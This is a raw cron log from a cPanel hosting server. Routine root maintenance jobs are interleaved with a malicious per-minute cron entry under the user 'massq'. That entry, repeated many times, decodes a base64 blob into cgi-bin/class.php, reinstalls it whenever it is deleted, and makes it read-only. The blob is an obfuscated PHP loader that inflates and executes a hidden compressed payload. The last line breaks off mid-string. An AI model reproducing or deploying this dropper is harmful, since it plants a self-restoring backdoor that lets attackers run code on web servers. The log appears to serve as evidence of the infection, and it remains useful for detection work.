Sep  3 02:30:01 server CROND[29238]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:30:01 server CROND[29236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:30:01 server CROND[29234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:30:01 server CROND[29235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:31:01 server CROND[30068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:31:01 server CROND[30069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:31:01 server CROND[30070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:32:01 server CROND[30454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:32:01 server CROND[30455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:32:01 server CROND[30456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:33:01 server CROND[30837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:33:01 server CROND[30838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:33:01 server CROND[30839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:34:01 server CROND[31223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:34:01 server CROND[31224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:34:01 server CROND[31225]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:35:01 server CROND[31716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:35:01 server CROND[31718]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 02:35:01 server CROND[31729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:35:01 server CROND[31731]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:35:01 server CROND[31730]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:35:01 server CROND[31728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:35:01 server CROND[31735]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 02:35:01 server CROND[31732]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:35:01 server CROND[31739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:36:01 server CROND[32573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:36:01 server CROND[32574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:36:01 server CROND[32572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:37:01 server CROND[503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:37:01 server CROND[504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:37:01 server CROND[505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:38:01 server CROND[928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:38:01 server CROND[929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:38:01 server CROND[930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:39:01 server CROND[1416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:39:01 server CROND[1417]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:39:01 server CROND[1418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:39:01 server CROND[1419]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 02:40:01 server CROND[1910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 02:40:01 server CROND[1909]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 02:40:01 server CROND[1913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:40:01 server CROND[1915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:40:01 server CROND[1918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:40:01 server CROND[1917]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 02:40:01 server CROND[1912]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 02:40:01 server CROND[1914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 02:41:01 server CROND[2832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 02:41:01 server CROND[2833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:41:01 server CROND[2834]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:42:01 server CROND[3234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 02:42:01 server CROND[3235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 02:42:01 server CROND[3233]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 02:42:01 server CROND[3236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ